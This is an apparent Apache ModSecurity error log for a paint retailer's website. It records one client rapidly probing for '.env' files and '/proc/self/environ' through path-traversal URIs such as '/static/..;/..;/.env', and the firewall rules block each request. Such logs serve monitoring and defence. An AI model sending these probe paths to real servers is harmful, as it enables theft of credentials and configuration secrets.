[Mon Oct 26 07:29:11.918331 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at85hzobCwOEb8ifz36PjwAAABQ"]
[Mon Oct 26 07:29:11.998466 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LgAAAAM"]
[Mon Oct 26 07:29:11.998722 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LgAAAAM"]
[Mon Oct 26 07:29:11.999011 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LgAAAAM"]
[Mon Oct 26 07:29:12.000971 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85h03DiqOFJPXX6P421gAAABM"]
[Mon Oct 26 07:29:12.001378 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85h03DiqOFJPXX6P421gAAABM"]
[Mon Oct 26 07:29:12.001659 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at85h03DiqOFJPXX6P421gAAABM"]
[Mon Oct 26 07:29:12.008130 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at85iDDRnKsAIAUOCsIeIwAAAB0"]
[Mon Oct 26 07:29:12.008192 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at85iDDRnKsAIAUOCsIeIwAAAB0"]
[Mon Oct 26 07:29:12.008328 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at85iDDRnKsAIAUOCsIeIwAAAB0"]
[Mon Oct 26 07:29:12.008606 2026] [security2:error] [pid 3023395:tid 3023395] [client 34.19.176.196:37728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at85iDDRnKsAIAUOCsIeIwAAAB0"]
[Mon Oct 26 07:29:12.017563 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at85iIAjAiW0BJRhWhrVnwAAAAc"]
[Mon Oct 26 07:29:12.017741 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at85iIAjAiW0BJRhWhrVnwAAAAc"]
[Mon Oct 26 07:29:12.017993 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at85iIAjAiW0BJRhWhrVnwAAAAc"]
[Mon Oct 26 07:29:12.018733 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iDUxizeD7p0l-jkfxQAAAB8"]
[Mon Oct 26 07:29:12.018890 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iDUxizeD7p0l-jkfxQAAAB8"]
[Mon Oct 26 07:29:12.019129 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iDUxizeD7p0l-jkfxQAAAB8"]
[Mon Oct 26 07:29:12.020606 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iE5VL05DK7ky7IO-jgAAAA4"]
[Mon Oct 26 07:29:12.020777 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iE5VL05DK7ky7IO-jgAAAA4"]
[Mon Oct 26 07:29:12.021035 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iE5VL05DK7ky7IO-jgAAAA4"]
[Mon Oct 26 07:29:12.022280 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iN-fnwNv3Luhiy4YTQAAAAE"]
[Mon Oct 26 07:29:12.022443 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iN-fnwNv3Luhiy4YTQAAAAE"]
[Mon Oct 26 07:29:12.022686 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85iN-fnwNv3Luhiy4YTQAAAAE"]
[Mon Oct 26 07:29:12.023943 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at85iDobCwOEb8ifz36PkAAAABQ"]
[Mon Oct 26 07:29:12.024107 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at85iDobCwOEb8ifz36PkAAAABQ"]
[Mon Oct 26 07:29:12.024380 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at85iDobCwOEb8ifz36PkAAAABQ"]
[Mon Oct 26 07:29:12.065096 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at85iBuQQn9l7nrKN7L5hAAAABo"]
[Mon Oct 26 07:29:12.065193 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at85iBuQQn9l7nrKN7L5hAAAABo"]
[Mon Oct 26 07:29:12.065374 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at85iBuQQn9l7nrKN7L5hAAAABo"]
[Mon Oct 26 07:29:12.065619 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at85iBuQQn9l7nrKN7L5hAAAABo"]
[Mon Oct 26 07:29:12.067023 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at85iNllH_J00GQzpNGhWAAAABg"]
[Mon Oct 26 07:29:12.067108 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at85iNllH_J00GQzpNGhWAAAABg"]
[Mon Oct 26 07:29:12.067297 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at85iNllH_J00GQzpNGhWAAAABg"]
[Mon Oct 26 07:29:12.067615 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at85iNllH_J00GQzpNGhWAAAABg"]
[Mon Oct 26 07:29:12.068560 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at85iFZCbqkv80FsVwhsbwAAABk"]
[Mon Oct 26 07:29:12.068618 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at85iFZCbqkv80FsVwhsbwAAABk"]
[Mon Oct 26 07:29:12.068757 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at85iFZCbqkv80FsVwhsbwAAABk"]
[Mon Oct 26 07:29:12.069016 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at85iFZCbqkv80FsVwhsbwAAABk"]
[Mon Oct 26 07:29:12.113952 2026] [core:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] AH10244: invalid URI path (/%2e%2e/.env)
[Mon Oct 26 07:29:12.150284 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at85iLLYATfADedA0a_akAAAACE"]
